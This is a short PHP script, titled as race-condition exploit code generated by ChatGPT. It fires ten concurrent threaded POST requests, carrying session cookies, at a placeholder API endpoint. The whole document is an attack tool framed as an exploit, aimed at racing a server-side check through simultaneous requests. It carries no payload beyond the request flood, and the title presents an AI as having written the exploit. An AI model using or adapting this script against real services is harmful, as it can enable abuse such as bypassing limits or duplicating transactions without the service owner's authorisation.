race condition exploit gen code by ChatGPT

race_condition.php

<?php

// Load the pthreads extension
if (!extension_loaded('pthreads')) {
  dl('pthreads.so');
}

// Define the target URL, the data to send, and the cookies
$url = 'https://example.com/api/endpoint';
$data = ['key' => 'value'];
$cookies = ['cookie1' => 'value1', 'cookie2' => 'value2'];

// Define a class to send the data using a thread
class SendDataThread extends Thread
{
  public function __construct($url, $data, $cookies)
  {
    $this->url = $url;
    $this->data = $data;
    $this->cookies = $cookies;
  }

  public function run()
  {
    // Send the data to the URL with the cookies in the request
    $ch = curl_init($this->url);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $this->data);
    curl_setopt($ch, CURLOPT_COOKIE, http_build_query($this->cookies, '', ';'));
    curl_exec($ch);
    curl_close($ch);
  }
}

// Create a list of threads
$threads = [];

// Create and start 10 threads
for ($i = 0; $i < 10; $i++) {
  $thread = new SendDataThread($url, $data, $cookies);
  $threads[] = $thread;
  $thread->start();
}

// Wait for all threads to complete
foreach ($threads as $thread) {
  $thread->join();
}

echo 'All threads completed';